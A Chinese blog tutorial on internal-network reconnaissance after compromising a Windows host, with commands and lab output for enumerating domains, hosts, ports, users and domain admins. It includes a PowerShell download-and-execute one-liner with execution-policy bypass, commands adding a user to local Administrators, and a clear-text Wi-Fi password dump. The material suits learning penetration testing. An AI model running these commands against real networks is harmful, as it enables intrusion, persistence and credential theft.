前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >内网信息收集

内网信息收集

作者头像
Naraku
发布2021-07-29 11:06:39
7380
发布2021-07-29 11:06:39
举报
文章被收录于专栏:Naraku的专栏Naraku的专栏

基本信息

代码语言:javascript
复制
# 网络信息
$ ipconfig /all    # 查询网络配置信息

# 系统信息
$ systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"  # 查询操作系统和软件信息
$ systeminfo       # 查看补丁列表
$ wmic qfe get Caption,Description,HotFixID,InstallOn # 查看安装在系统的补丁

# 服务信息
$ wmic service list brief  # 查询本机服务信息
$ wmic process list brief  # 查询进程列表
$ wmic startup get commond,caption # 查看启动程序信息

# 用户信息
$ net user                       # 查询用户列表
$ net localgroup Administrators  # 本地管理员
$ query user || qwinsta          # 当前在线用户

# 进程信息
$ tasklist
$ wmic process list brief

# 其它信息
$ netstat -ano  # 查询端口列表
$ net share     # 查询本机共享列表
$ route print   # 路由表
$ arp -a        # ARP表
$ ipconfig /displaydns    # 查看dns缓存
$ netsh firewall show config  # 查询防火墙相关配置

查询当前权限

  • 获取一台主机后,一般有3种情况:
    • 本地普通用户,win-2008\user
    • 本地管理员用户,win7-test\administrator
    • 域内用户,hacker\administrator
  • 其中本地普通用户只能查询本机信息,不能查询域内信息,而本地管理员和域内用户均可查询域内信息。
  • 域内所有查询都通过域控制器(DC)实现,而这个查询会自动使用Kerberos协议进行认证,无须输入账号密码。
  • 获取域SID
    • 当前域hack-naraku的SID:S-1-5-21-1481718049-2714097393-3961720286
    • 域用户winuser的SID:S-1-5-21-1481718049-2714097393-3961720286-1108
代码语言:javascript
复制
$ whoami

用户名              SID
=================== ==============================================
hack-naraku\winuser S-1-5-21-1481718049-2714097393-3961720286-1108
  • 查询指定用户信息
    • 该用户在本地组中没有本地管理员权限
    • 在域中属于Domain Users
代码语言:javascript
复制
$ net user winuser /domain

.............
本地组成员
全局组成员             *Domain Users
.............

判断是否存在域

  • 使用ipconfig
代码语言:javascript
复制
$ ipconfig /all
$ nslookup <DNS服务器>
  • 查询系统信息
    • 域:域名。如果域为WORKGROUP则表示当前服务器不在域内
    • 登录服务器:域控制器
代码语言:javascript
复制
$ systeminfo
  • 查询当前登录域及登录用户
    • 工作站域DNS名称:域名。如果为WORKGROUP则表示当前为非域环境
    • 登录域:用于表示当前表示的用户是域用户还是本地用户
代码语言:javascript
复制
$ net config workstation
  • 判断主域
    • 正常执行:存在域,且当前用户是域用户
    • 拒绝访问:存在域,但当前用户不是域用户
    • 找不到域WORKGROUP的域控制器:不存在域
代码语言:javascript
复制
$ net time /domain

探测域内存活主机

NetBIOS探测

  • nbtscan.exe:一个命令行工具,用于扫描目标网络中开放的NetBIOS名称服务器
代码语言:javascript
复制
$ nbtscan.exe 192.168.1.0/24

192.168.1.7     HACK-NARAKU\WIN7                SHARING
192.168.1.12    HACK-NARAKU\DC                  SHARING DC
*timeout (normal end of scan)

ICMP探测

  • 对指定网段中的每个IP地址使用ping命令
代码语言:javascript
复制
$ for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="

来自 192.168.1.7 的回复: 字节=32 时间<1ms TTL=128
来自 192.168.1.12 的回复: 字节=32 时间=1ms TTL=128

ARP探测

  • arp-scan.exe
代码语言:javascript
复制
$ arp-scan.exe -t 192.168.1.0/24

Reply that 00:50:56:C0:00:01 is 192.168.1.1 in 2.870200
Reply that 00:0C:29:0A:7C:7F is 192.168.1.7 in 0.060100
Reply that 00:0C:29:93:97:DC is 192.168.1.12 in 16.301800
Reply that 00:50:56:EA:98:CF is 192.168.1.254 in 15.253300
Reply that 00:0C:29:0A:7C:7F is 192.168.1.255 in 0.102700

扫描域内端口

  • Metasploit端口扫描:MSF提供多种端口扫描技术,还提供与其它扫描工具的接口
    • 可在msfconsole下运行search portscan搜索端口扫描模块
    • 这里使用的是auxiliary/scanner/portscan/tcp
代码语言:javascript
复制
$ msfconsole
msf5 > use auxiliary/scanner/portscan/tcp 
msf5 auxiliary(scanner/portscan/tcp) > show options
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.12
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 1-1024
msf5 auxiliary(scanner/portscan/tcp) > run

[+] 192.168.1.12:         - 192.168.1.12:53 - TCP OPEN
.......

[+] 192.168.1.12:         - 192.168.1.12:636 - TCP OPEN
[*] 192.168.1.12:         - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
  • Nmap
代码语言:javascript
复制
$ nmap -sP 192.168.1.0/24
  • Netcat:端口Banner信息
代码语言:javascript
复制
$ nc -nv 192.168.1.12 22
  • Nishang中的Scan/Invoke-PortScan.ps1模块
  • PowerSploit中的Recon/Invoke-PortScan.ps1脚本
代码语言:javascript
复制
# 远程下载脚本并执行
$ powershell.exe -nop -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/Invoke-Portscan.ps1'); Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '80,445,1433,8080,3389' -oA temp.txt"

# 执行本地ps脚本
$ powershell.exe -nop -exec bypass -c "Import-Module C:\Invoke-Portscan.ps1; Invoke-Portscan -Hosts 192.168.1.0/24 -T 4 -ports '80,445,1433,8080,3389' -oA temp.txt"

其它

代码语言:javascript
复制
$ telnet 192.168.1.12 22

域信息

需要先启动Computer Browser服务

Info-Computer_Browser-1
Info-Computer_Browser-1
Info-Computer_Browser-2
Info-Computer_Browser-2
代码语言:javascript
复制
$ net view /domain                      # 查询域
$ net view /domain:HACK-NARAKU          # 查询域内所有计算机
$ net group /domain                     # 查询域内所有用户组
$ net group "domain computers" /domain  # 查询所有域成员
$ net accounts /domain                  # 查询域密码策略

nltest信任域

  • 信任域:可以在工作组里查询,查询内网是否有域环境
代码语言:javascript
复制
$ nltest /domain_trusts

# 返回所有信任 192.168.1.7 的域
$ nltest /domain_trusts /all_trusts /v /server:<域控IP>

# 返回域控和其相对应的IP地址,XXXXX是上一条命令结果中的一个域
$ nltest /dsgetdc:<XXXXX> /server:192.168.1.12

查找域控

  • 查看域控的机器名
代码语言:javascript
复制
$ nltest /DCLIST:hack-naraku

获得域“hack-naraku”中 DC 的列表(从“\\DC”中)。
    DC.hack.naraku [PDC]  [DS] 站点: Default-First-Site-Name
此命令成功完成
  • 查看域控的主机名
代码语言:javascript
复制
$ nslookup -type=SRV _ldap._tcp

DNS request timed out.
    timeout was 2 seconds.
服务器:  UnKnown
Address:  192.168.1.12

_ldap._tcp.hack.naraku  SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = dc.hack.naraku
dc.hack.naraku  internet address = 192.168.1.12
  • 查看时间
代码语言:javascript
复制
$ net time /domain

\\DC.hack.naraku 的当前时间是 2020/10/19 12:38:28
  • 查看域控组
代码语言:javascript
复制
$ net group "Domain Controllers" /domain

这项请求将在域 hack.naraku 的域控制器处理。

组名     Domain Controllers
注释     域中所有域控制器

成员

-------------------------------------------------------------------------------
DC$
命令成功完成。

域用户信息

  • 查询所有域用户列表
代码语言:javascript
复制
$ net user /domain               # 向域控进行查询
$ wmic useraccount get /all      # 获取域内用户信息
$ net localgroup administrators  # 查询本地管理员组用户
  • 查询域管理员用户
代码语言:javascript
复制
$ net group "Domain Admins" /domain     # 查询域管理员用户
$ net group "Enterprise Admins" /domain # 查询管理员用户组

定位域管

概述

在一个域中,当计算机加入域后,会默认给域管理员赋予本地系统管理员权限。因此,域管理员均可以访问本地计算机,且具备完全控制权限。

定位域内管理员的两种渠道:日志和会话。

  • 日志是指本地机器的管理员日志,可以使用脚本或Wevtutil工具导出并查看。
  • 会话是指域内每台机器的登陆会话,可以使用netsess.exePowerView等工具查询(可匿名查询,无需权限)。

PsLoggedOn

PsLoggedOn.exe:可以查看本地登录的用户

  • 原理:通过检验注册表里HKEY_USERS的key值来查询谁登陆过机器(调用NetSessionEnum API)
  • 限制:部分功能需要管理员权限
代码语言:javascript
复制
$ PsLoggedon.exe

PVEFindADUser

PVEFindADUser.exe:用于查找Active Directory用户的登录位置、枚举域用户,以及查找在特定计算机上登陆的用户,包括本地用户、通过RDP登陆的用户、用于运行服务和计划任务的用户。

  • 限制:运行该工具需要配置.NET Framework 2.0环境,并且需要具有管理员权限。
代码语言:javascript
复制
$ PVEFindADUser.exe -current

Netview

Netview.exe:使用WinAPI枚举系统,利用NetSessionEnum找寻登陆会话,利用NetShareEnum找寻共享,利用NetWkstaUserEnum枚举登陆用户。同时,netview.exe能够查询共享入口和有价值的用户。

代码语言:javascript
复制
$ netview.exe -d

Nmap的NSE脚本

Smb-enum-sessions.nse:如果存在域账户或者本地账户,就可以使用该脚本获取远程机器的登陆会话

  • 限制:不需要管理员权限
代码语言:javascript
复制
$ nmap --script=smb-enum-sessions 192.168.1.1

脚本

描述

smb-enum-domains

尝试枚举系统上的域及其策略

smb-enum-users

枚举远程Windows系统上的用户,并提供尽可能多的信息

smb-enum-shares

便利远程主机共享目录

smb-enum-processes

通过SMB从远程服务器提取进程列表,可以知道目标主机运行哪些软件。需要管理员权限

smb-enum-sessions

枚举在本地或通过SMB共享登录到系统的用户

smb-os-discovery

尝试通过SMB协议(端口445或139)确定操作系统,计算机名称,域,工作组和当前时间。

PowerView

PowerView是一款依赖powershell和WMI对内网进行查询的常用渗透测试脚本,集成在powersploit工具包中,是一个收集域信息很好用的脚本。

代码语言:javascript
复制
# 定位域管理员
$ powershell.exe -exec bypass -c "Import-Module C:\PowerView.ps1; Invoke-UserHunter"

查找域管理进程

一个典型的域权限提升过程,通常围绕着收集明文凭据通过Mimikatz提权等方法。在获取了管理员权限的系统中寻找域管理员登录进程,进而收集域管理员的凭据。

代码语言:javascript
复制
$ tasklist /v                             # 列出本机的所有进程及进程用户
$ net group "Domain Admins" /domain       # 获取域管理员列表
$ net group "Domain Controllers" /domain  # 查询域控制器列表

Powershell收集信息

代码语言:javascript
复制
$ Get-ExecutionPolicy               # 查看执行策略
$ Set-ExecutionPolicy Unrestricted  # 修改执行策略(需管理员权限)

# 利用PowerView
$ Import-Module .\PowerView.ps1
Get-NetDomain            # 获取当前用户所在域的名称
Get-NetUser              # 获取所有用户的详细信息
Get-NetComputer          # 获取域内所有机器的详细信息
Get-NetShare             # 获取当前域内所有的共享信息
Get-ADObject             # 获取活动目录的对象(内容超级多)
Invoke-UserHunter        # 获取域用户登陆的计算机信息,以及该用户是否有本地管理员权限
Invoke-ProcessHunter     # 通过查询域内所有的机器进程找到特定用户

其它

  • 用户信息
    • 权限:system > administrator > user
代码语言:javascript
复制
$ net user /domain                        # 查看域用户
$ net group "domain admins" /domain       # 查看域管理员
$ net group "domain controllers" /domain  # 查看域控制器
$ nltest /domain_trusts  # 查看域信任

# 其它
$ query user                                 # 查看在线用户
$ net user                                   # 查看全部用户
$ net user naraku                            # 查看指定用户: net user <username> 
$ net user naraku pwd123. /add               # 添加用户,默认Users组: net user <username> <password>  /add    
$ net localgroup administrators naraku /add  # 添加到Administrators组: net localgroup administrators <username> /add

# 查看wifi密码
$ for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
原始发表:2020 年 10 月,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 基本信息
  • 查询当前权限
  • 判断是否存在域
  • 探测域内存活主机
    • NetBIOS探测
      • ICMP探测
        • ARP探测
        • 扫描域内端口
        • 域信息
        • nltest信任域
        • 查找域控
        • 域用户信息
        • 定位域管
          • 概述
            • PsLoggedOn
              • PVEFindADUser
                • Netview
                  • Nmap的NSE脚本
                    • PowerView
                    • 查找域管理进程
                    • Powershell收集信息
                    • 其它
                    相关产品与服务
                    命令行工具
                    腾讯云命令行工具 TCCLI 是管理腾讯云资源的统一工具。使用腾讯云命令行工具,您可以快速调用腾讯云 API 来管理您的腾讯云资源。此外,您还可以基于腾讯云的命令行工具来做自动化和脚本处理,以更多样的方式进行组合和重用。
                    领券
                    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档